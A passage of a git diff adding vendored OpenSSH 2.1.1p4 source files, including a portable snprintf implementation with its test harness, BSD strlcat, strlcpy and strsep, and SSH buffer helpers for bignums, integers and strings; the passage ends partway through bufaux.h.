+ break; + default: + state = DP_S_MIN; + break; + } + break; + case DP_S_MIN: + if (isdigit((unsigned char)ch)) + { + min = 10*min + char_to_int (ch); + ch = *format++; + } + else if (ch == '*') + { + min = va_arg (args, int); + ch = *format++; + state = DP_S_DOT; + } + else + state = DP_S_DOT; + break; + case DP_S_DOT: + if (ch == '.') + { + state = DP_S_MAX; + ch = *format++; + } + else + state = DP_S_MOD; + break; + case DP_S_MAX: + if (isdigit((unsigned char)ch)) + { + if (max < 0) + max = 0; + max = 10*max + char_to_int (ch); + ch = *format++; + } + else if (ch == '*') + { + max = va_arg (args, int); + ch = *format++; + state = DP_S_MOD; + } + else + state = DP_S_MOD; + break; + case DP_S_MOD: + /* Currently, we don't support Long Long, bummer */ + switch (ch) + { + case 'h': + cflags = DP_C_SHORT; + ch = *format++; + break; + case 'l': + cflags = DP_C_LONG; + ch = *format++; + break; + case 'L': + cflags = DP_C_LDOUBLE; + ch = *format++; + break; + default: + break; + } + state = DP_S_CONV; + break; + case DP_S_CONV: + switch (ch) + { + case 'd': + case 'i': + if (cflags == DP_C_SHORT) + value = va_arg (args, short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, long int); + else + value = va_arg (args, int); + fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'o': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 8, min, max, flags); + break; + case 'u': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'X': + flags |= DP_F_UP; + case 'x': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg (args, unsigned short int); + else if (cflags == DP_C_LONG) + value = va_arg (args, unsigned long int); + else + value = va_arg (args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 16, min, max, flags); + break; + case 'f': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + /* um, floating point? */ + fmtfp (buffer, &currlen, maxlen, fvalue, min, max, flags); + break; + case 'E': + flags |= DP_F_UP; + case 'e': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + break; + case 'G': + flags |= DP_F_UP; + case 'g': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg (args, long double); + else + fvalue = va_arg (args, double); + break; + case 'c': + dopr_outch (buffer, &currlen, maxlen, va_arg (args, int)); + break; + case 's': + strvalue = va_arg (args, char *); + if (max < 0) + max = maxlen; /* ie, no max */ + fmtstr (buffer, &currlen, maxlen, strvalue, flags, min, max); + break; + case 'p': + strvalue = va_arg (args, void *); + fmtint (buffer, &currlen, maxlen, (long) strvalue, 16, min, max, flags); + break; + case 'n': + if (cflags == DP_C_SHORT) + { + short int *num; + num = va_arg (args, short int *); + *num = currlen; + } + else if (cflags == DP_C_LONG) + { + long int *num; + num = va_arg (args, long int *); + *num = currlen; + } + else + { + int *num; + num = va_arg (args, int *); + *num = currlen; + } + break; + case '%': + dopr_outch (buffer, &currlen, maxlen, ch); + break; + case 'w': + /* not supported yet, treat as next char */ + ch = *format++; + break; + default: + /* Unknown, skip */ + break; + } + ch = *format++; + state = DP_S_DEFAULT; + flags = cflags = min = 0; + max = -1; + break; + case DP_S_DONE: + break; + default: + /* hmm? */ + break; /* some picky compilers need this */ + } + } + if (currlen < maxlen - 1) + buffer[currlen] = '\0'; + else + buffer[maxlen - 1] = '\0'; +} + +static void fmtstr (char *buffer, size_t *currlen, size_t maxlen, + char *value, int flags, int min, int max) +{ + int padlen, strln; /* amount to pad */ + int cnt = 0; + + if (value == 0) + { + value = ""; + } + + for (strln = 0; value[strln]; ++strln); /* strlen */ + padlen = min - strln; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justify */ + + while ((padlen > 0) && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --padlen; + ++cnt; + } + while (*value && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, *value++); + ++cnt; + } + while ((padlen < 0) && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, ' '); + ++padlen; + ++cnt; + } +} + +/* Have to handle DP_F_NUM (ie 0x and 0 alternates) */ + +static void fmtint (char *buffer, size_t *currlen, size_t maxlen, + long value, int base, int min, int max, int flags) +{ + int signvalue = 0; + unsigned long uvalue; + char convert[20]; + int place = 0; + int spadlen = 0; /* amount to space pad */ + int zpadlen = 0; /* amount to zero pad */ + int caps = 0; + + if (max < 0) + max = 0; + + uvalue = value; + + if(!(flags & DP_F_UNSIGNED)) + { + if( value < 0 ) { + signvalue = '-'; + uvalue = -value; + } + else + if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else + if (flags & DP_F_SPACE) + signvalue = ' '; + } + + if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ + + do { + convert[place++] = + (caps? "0123456789ABCDEF":"0123456789abcdef") + [uvalue % (unsigned)base ]; + uvalue = (uvalue / (unsigned)base ); + } while(uvalue && (place < 20)); + if (place == 20) place--; + convert[place] = 0; + + zpadlen = max - place; + spadlen = min - MAX (max, place) - (signvalue ? 1 : 0); + if (zpadlen < 0) zpadlen = 0; + if (spadlen < 0) spadlen = 0; + if (flags & DP_F_ZERO) + { + zpadlen = MAX(zpadlen, spadlen); + spadlen = 0; + } + if (flags & DP_F_MINUS) + spadlen = -spadlen; /* Left Justifty */ + +#ifdef DEBUG_SNPRINTF + dprint (1, (debugfile, "zpad: %d, spad: %d, min: %d, max: %d, place: %d\n", + zpadlen, spadlen, min, max, place)); +#endif + + /* Spaces */ + while (spadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --spadlen; + } + + /* Sign */ + if (signvalue) + dopr_outch (buffer, currlen, maxlen, signvalue); + + /* Zeros */ + if (zpadlen > 0) + { + while (zpadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --zpadlen; + } + } + + /* Digits */ + while (place > 0) + dopr_outch (buffer, currlen, maxlen, convert[--place]); + + /* Left Justified spaces */ + while (spadlen < 0) { + dopr_outch (buffer, currlen, maxlen, ' '); + ++spadlen; + } +} + +static long double abs_val (long double value) +{ + long double result = value; + + if (value < 0) + result = -value; + + return result; +} + +static long double pow10 (int exp) +{ + long double result = 1; + + while (exp) + { + result *= 10; + exp--; + } + + return result; +} + +static long round (long double value) +{ + long intpart; + + intpart = value; + value = value - intpart; + if (value >= 0.5) + intpart++; + + return intpart; +} + +static void fmtfp (char *buffer, size_t *currlen, size_t maxlen, + long double fvalue, int min, int max, int flags) +{ + int signvalue = 0; + long double ufvalue; + char iconvert[20]; + char fconvert[20]; + int iplace = 0; + int fplace = 0; + int padlen = 0; /* amount to pad */ + int zpadlen = 0; + int caps = 0; + long intpart; + long fracpart; + + /* + * AIX manpage says the default is 0, but Solaris says the default + * is 6, and sprintf on AIX defaults to 6 + */ + if (max < 0) + max = 6; + + ufvalue = abs_val (fvalue); + + if (fvalue < 0) + signvalue = '-'; + else + if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else + if (flags & DP_F_SPACE) + signvalue = ' '; + +#if 0 + if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ +#endif + + intpart = ufvalue; + + /* + * Sorry, we only support 9 digits past the decimal because of our + * conversion method + */ + if (max > 9) + max = 9; + + /* We "cheat" by converting the fractional part to integer by + * multiplying by a factor of 10 + */ + fracpart = round ((pow10 (max)) * (ufvalue - intpart)); + + if (fracpart >= pow10 (max)) + { + intpart++; + fracpart -= pow10 (max); + } + +#ifdef DEBUG_SNPRINTF + dprint (1, (debugfile, "fmtfp: %f =? %d.%d\n", fvalue, intpart, fracpart)); +#endif + + /* Convert integer part */ + do { + iconvert[iplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[intpart % 10]; + intpart = (intpart / 10); + } while(intpart && (iplace < 20)); + if (iplace == 20) iplace--; + iconvert[iplace] = 0; + + /* Convert fractional part */ + do { + fconvert[fplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[fracpart % 10]; + fracpart = (fracpart / 10); + } while(fracpart && (fplace < 20)); + if (fplace == 20) fplace--; + fconvert[fplace] = 0; + + /* -1 for decimal point, another -1 if we are printing a sign */ + padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0); + zpadlen = max - fplace; + if (zpadlen < 0) + zpadlen = 0; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justifty */ + + if ((flags & DP_F_ZERO) && (padlen > 0)) + { + if (signvalue) + { + dopr_outch (buffer, currlen, maxlen, signvalue); + --padlen; + signvalue = 0; + } + while (padlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --padlen; + } + } + while (padlen > 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --padlen; + } + if (signvalue) + dopr_outch (buffer, currlen, maxlen, signvalue); + + while (iplace > 0) + dopr_outch (buffer, currlen, maxlen, iconvert[--iplace]); + + /* + * Decimal point. This should probably use locale to find the correct + * char to print out. + */ + dopr_outch (buffer, currlen, maxlen, '.'); + + while (fplace > 0) + dopr_outch (buffer, currlen, maxlen, fconvert[--fplace]); + + while (zpadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --zpadlen; + } + + while (padlen < 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + ++padlen; + } +} + +static void dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c) +{ + if (*currlen < maxlen) + buffer[(*currlen)++] = c; +} +#endif /* !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) */ + +#ifndef HAVE_VSNPRINTF +int vsnprintf (char *str, size_t count, const char *fmt, va_list args) +{ + str[0] = 0; + dopr(str, count, fmt, args); + return(strlen(str)); +} +#endif /* !HAVE_VSNPRINTF */ + +#ifndef HAVE_SNPRINTF +/* VARARGS3 */ +#ifdef HAVE_STDARGS +int snprintf (char *str,size_t count,const char *fmt,...) +#else +int snprintf (va_alist) va_dcl +#endif +{ +#ifndef HAVE_STDARGS + char *str; + size_t count; + char *fmt; +#endif + VA_LOCAL_DECL; + + VA_START (fmt); + VA_SHIFT (str, char *); + VA_SHIFT (count, size_t ); + VA_SHIFT (fmt, char *); + (void) vsnprintf(str, count, fmt, ap); + VA_END; + return(strlen(str)); +} + +#ifdef TEST_SNPRINTF +#ifndef LONG_STRING +#define LONG_STRING 1024 +#endif +int main (void) +{ + char buf1[LONG_STRING]; + char buf2[LONG_STRING]; + char *fp_fmt[] = { + "%-1.5f", + "%1.5f", + "%123.9f", + "%10.5f", + "% 10.5f", + "%+22.9f", + "%+4.9f", + "%01.3f", + "%4f", + "%3.1f", + "%3.2f", + NULL + }; + double fp_nums[] = { -1.5, 134.21, 91340.2, 341.1234, 0203.9, 0.96, 0.996, + 0.9996, 1.996, 4.136, 0}; + char *int_fmt[] = { + "%-1.5d", + "%1.5d", + "%123.9d", + "%5.5d", + "%10.5d", + "% 10.5d", + "%+22.33d", + "%01.3d", + "%4d", + NULL + }; + long int_nums[] = { -1, 134, 91340, 341, 0203, 0}; + int x, y; + int fail = 0; + int num = 0; + + printf ("Testing snprintf format codes against system sprintf...\n"); + + for (x = 0; fp_fmt[x] != NULL ; x++) + for (y = 0; fp_nums[y] != 0 ; y++) + { + snprintf (buf1, sizeof (buf1), fp_fmt[x], fp_nums[y]); + sprintf (buf2, fp_fmt[x], fp_nums[y]); + if (strcmp (buf1, buf2)) + { + printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n", + fp_fmt[x], buf1, buf2); + fail++; + } + num++; + } + + for (x = 0; int_fmt[x] != NULL ; x++) + for (y = 0; int_nums[y] != 0 ; y++) + { + snprintf (buf1, sizeof (buf1), int_fmt[x], int_nums[y]); + sprintf (buf2, int_fmt[x], int_nums[y]); + if (strcmp (buf1, buf2)) + { + printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n", + int_fmt[x], buf1, buf2); + fail++; + } + num++; + } + printf ("%d tests failed out of %d.\n", fail, num); +} +#endif /* SNPRINTF_TEST */ + +#endif /* !HAVE_SNPRINTF */ diff --git a/other/openssh-2.1.1p4/bsd-snprintf.h b/other/openssh-2.1.1p4/bsd-snprintf.h new file mode 100644 index 0000000..ed7a21c --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-snprintf.h @@ -0,0 +1,17 @@ +#ifndef _BSD_SNPRINTF_H +#define _BSD_SNPRINTF_H + +#include "config.h" + +#include /* For size_t */ + +#ifndef HAVE_SNPRINTF +int snprintf(char *str, size_t count, const char *fmt, ...); +#endif /* !HAVE_SNPRINTF */ + +#ifndef HAVE_VSNPRINTF +int vsnprintf(char *str, size_t count, const char *fmt, va_list args); +#endif /* !HAVE_SNPRINTF */ + + +#endif /* _BSD_SNPRINTF_H */ diff --git a/other/openssh-2.1.1p4/bsd-strlcat.c b/other/openssh-2.1.1p4/bsd-strlcat.c new file mode 100644 index 0000000..10ad9e7 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strlcat.c @@ -0,0 +1,76 @@ +/* $OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCAT + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Appends src to string dst of size siz (unlike strncat, siz is the + * full size of dst, not space left). At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcat(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + size_t dlen; + + /* Find the end of dst and adjust bytes left but don't go past end */ + while (*d != '\0' && n-- != 0) + d++; + dlen = d - dst; + n = siz - dlen; + + if (n == 0) + return(dlen + strlen(s)); + while (*s != '\0') { + if (n != 1) { + *d++ = *s; + n--; + } + s++; + } + *d = '\0'; + + return(dlen + (s - src)); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCAT */ diff --git a/other/openssh-2.1.1p4/bsd-strlcat.h b/other/openssh-2.1.1p4/bsd-strlcat.h new file mode 100644 index 0000000..562dc70 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strlcat.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRLCAT_H +#define _BSD_STRLCAT_H + +#include "config.h" +#ifndef HAVE_STRLCAT +#include +size_t strlcat(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCAT */ + +#endif /* _BSD_STRLCAT_H */ diff --git a/other/openssh-2.1.1p4/bsd-strlcpy.c b/other/openssh-2.1.1p4/bsd-strlcpy.c new file mode 100644 index 0000000..276c25c --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strlcpy.c @@ -0,0 +1,73 @@ +/* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCPY + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Copy src to string dst of size siz. At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcpy(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + + /* Copy as many bytes as will fit */ + if (n != 0 && --n != 0) { + do { + if ((*d++ = *s++) == 0) + break; + } while (--n != 0); + } + + /* Not enough room in dst, add NUL and traverse rest of src */ + if (n == 0) { + if (siz != 0) + *d = '\0'; /* NUL-terminate dst */ + while (*s++) + ; + } + + return(s - src - 1); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCPY */ diff --git a/other/openssh-2.1.1p4/bsd-strlcpy.h b/other/openssh-2.1.1p4/bsd-strlcpy.h new file mode 100644 index 0000000..dafa44a --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strlcpy.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRLCPY_H +#define _BSD_STRLCPY_H + +#include "config.h" +#ifndef HAVE_STRLCPY +#include +size_t strlcpy(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCPY */ + +#endif /* _BSD_STRLCPY_H */ diff --git a/other/openssh-2.1.1p4/bsd-strsep.c b/other/openssh-2.1.1p4/bsd-strsep.c new file mode 100644 index 0000000..c03649c --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strsep.c @@ -0,0 +1,89 @@ +/* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ + +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#if !defined(HAVE_STRSEP) + +#include +#include + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)strsep.c 8.1 (Berkeley) 6/4/93"; +#else +static char *rcsid = "$OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +/* + * Get next token from string *stringp, where tokens are possibly-empty + * strings separated by characters from delim. + * + * Writes NULs into the string at *stringp to end tokens. + * delim need not remain constant from call to call. + * On return, *stringp points past the last NUL written (if there might + * be further tokens), or is NULL (if there are definitely no more tokens). + * + * If *stringp is NULL, strsep returns NULL. + */ +char * +strsep(char **stringp, const char *delim) +{ + register char *s; + register const char *spanp; + register int c, sc; + char *tok; + + if ((s = *stringp) == NULL) + return (NULL); + for (tok = s;;) { + c = *s++; + spanp = delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *stringp = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +#endif /* !defined(HAVE_STRSEP) */ diff --git a/other/openssh-2.1.1p4/bsd-strsep.h b/other/openssh-2.1.1p4/bsd-strsep.h new file mode 100644 index 0000000..d5ba6e0 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-strsep.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRSEP_H +#define _BSD_STRSEP_H + +#include "config.h" + +#ifndef HAVE_STRSEP +char *strsep(char **stringp, const char *delim); +#endif /* HAVE_STRSEP */ + +#endif /* _BSD_STRSEP_H */ diff --git a/other/openssh-2.1.1p4/bufaux.c b/other/openssh-2.1.1p4/bufaux.c new file mode 100644 index 0000000..ecf529f --- /dev/null +++ b/other/openssh-2.1.1p4/bufaux.c @@ -0,0 +1,209 @@ +/* + * + * bufaux.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 02:24:47 1995 ylo + * + * Auxiliary functions for storing and retrieving various data types to/from + * Buffers. + * + * SSH2 packet format added by Markus Friedl + * + */ + +#include "includes.h" +RCSID("$OpenBSD: bufaux.c,v 1.12 2000/06/20 01:39:39 markus Exp $"); + +#include "ssh.h" +#include +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void +buffer_put_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits = BN_num_bits(value); + int bin_size = (bits + 7) / 8; + char unsigned *buf = xmalloc(bin_size); + int oi; + char msg[2]; + + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf); + if (oi != bin_size) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bin_size); + + /* Store the number of bits in the buffer in two bytes, msb first. */ + PUT_16BIT(msg, bits); + buffer_append(buffer, msg, 2); + /* Store the binary data. */ + buffer_append(buffer, (char *)buf, oi); + + memset(buf, 0, bin_size); + xfree(buf); +} + +/* + * Retrieves an BIGNUM from the buffer. + */ +int +buffer_get_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits, bytes; + unsigned char buf[2], *bin; + + /* Get the number for bits. */ + buffer_get(buffer, (char *) buf, 2); + bits = GET_16BIT(buf); + /* Compute the number of binary bytes that follow. */ + bytes = (bits + 7) / 8; + if (buffer_len(buffer) < bytes) + fatal("buffer_get_bignum: input buffer too small"); + bin = (unsigned char*) buffer_ptr(buffer); + BN_bin2bn(bin, bytes, value); + buffer_consume(buffer, bytes); + + return 2 + bytes; +} + +/* + * Stores an BIGNUM in the buffer in SSH2 format. + */ +void +buffer_put_bignum2(Buffer *buffer, BIGNUM *value) +{ + int bytes = BN_num_bytes(value) + 1; + unsigned char *buf = xmalloc(bytes); + int oi; + int hasnohigh = 0; + buf[0] = '\0'; + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf+1); + if (oi != bytes-1) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bytes); + hasnohigh = (buf[1] & 0x80) ? 0 : 1; + if (value->neg) { + /**XXX should be two's-complement */ + int i, carry; + unsigned char *uc = buf; + log("negativ!"); + for(i = bytes-1, carry = 1; i>=0; i--) { + uc[i] ^= 0xff; + if(carry) + carry = !++uc[i]; + } + } + buffer_put_string(buffer, buf+hasnohigh, bytes-hasnohigh); + memset(buf, 0, bytes); + xfree(buf); +} + +int +buffer_get_bignum2(Buffer *buffer, BIGNUM *value) +{ + /**XXX should be two's-complement */ + int len; + unsigned char *bin = (unsigned char *)buffer_get_string(buffer, (unsigned int *)&len); + BN_bin2bn(bin, len, value); + xfree(bin); + return len; +} + +/* + * Returns an integer from the buffer (4 bytes, msb first). + */ +unsigned int +buffer_get_int(Buffer *buffer) +{ + unsigned char buf[4]; + buffer_get(buffer, (char *) buf, 4); + return GET_32BIT(buf); +} + +/* + * Stores an integer in the buffer in 4 bytes, msb first. + */ +void +buffer_put_int(Buffer *buffer, unsigned int value) +{ + char buf[4]; + PUT_32BIT(buf, value); + buffer_append(buffer, buf, 4); +} + +/* + * Returns an arbitrary binary string from the buffer. The string cannot + * be longer than 256k. The returned value points to memory allocated + * with xmalloc; it is the responsibility of the calling function to free + * the data. If length_ptr is non-NULL, the length of the returned data + * will be stored there. A null character will be automatically appended + * to the returned string, and is not counted in length. + */ +char * +buffer_get_string(Buffer *buffer, unsigned int *length_ptr) +{ + unsigned int len; + char *value; + /* Get the length. */ + len = buffer_get_int(buffer); + if (len > 256 * 1024) + fatal("Received packet with bad string length %d", len); + /* Allocate space for the string. Add one byte for a null character. */ + value = xmalloc(len + 1); + /* Get the string. */ + buffer_get(buffer, value, len); + /* Append a null character to make processing easier. */ + value[len] = 0; + /* Optionally return the length of the string. */ + if (length_ptr) + *length_ptr = len; + return value; +} + +/* + * Stores and arbitrary binary string in the buffer. + */ +void +buffer_put_string(Buffer *buffer, const void *buf, unsigned int len) +{ + buffer_put_int(buffer, len); + buffer_append(buffer, buf, len); +} +void +buffer_put_cstring(Buffer *buffer, const char *s) +{ + buffer_put_string(buffer, s, strlen(s)); +} + +/* + * Returns a character from the buffer (0 - 255). + */ +int +buffer_get_char(Buffer *buffer) +{ + char ch; + buffer_get(buffer, &ch, 1); + return (unsigned char) ch; +} + +/* + * Stores a character in the buffer. + */ +void +buffer_put_char(Buffer *buffer, int value) +{ + char ch = value; + buffer_append(buffer, &ch, 1); +} diff --git a/other/openssh-2.1.1p4/bufaux.h b/other/openssh-2.1.1p4/bufaux.h new file mode 100644 index 0000000..42df463 --- /dev/null +++ b/other/openssh-2.1.1p4/bufaux.h @@ -0,0 +1,58 @@ +/* + * + * bufaux.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 02:18:23 1995 ylo + * + */ + +/* RCSID("$OpenBSD: bufaux.h,v 1.7 2000/06/20 01:39:39 markus Exp $"); */ + +#ifndef BUFAUX_H +#define BUFAUX_H + +#include "buffer.h" + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void buffer_put_bignum(Buffer * buffer, BIGNUM * value); +void buffer_put_bignum2(Buffer * buffer, BIGNUM * value); + +/* Retrieves an BIGNUM from the buffer. */ +int buffer_get_bignum(Buffer * buffer, BIGNUM * value); +int buffer_get_bignum2(Buffer *buffer, BIGNUM * value); + +/* Returns an integer from the buffer (4 bytes, msb first). */ +unsigned int buffer_get_int(Buffer * buffer); + +/* Stores an integer in the buffer in 4 bytes, msb first. */ +void buffer_put_int(Buffer * buffer, unsigned int value); + +/* Returns a character from the buffer (0 - 255). */ +int buffer_get_char(Buffer * buffer); + +/* Stores a character in the buffer. */ +void buffer_put_char(Buffer * buffer, int value); + +/* + * Returns an arbitrary binary string from the buffer. The string cannot be + * longer 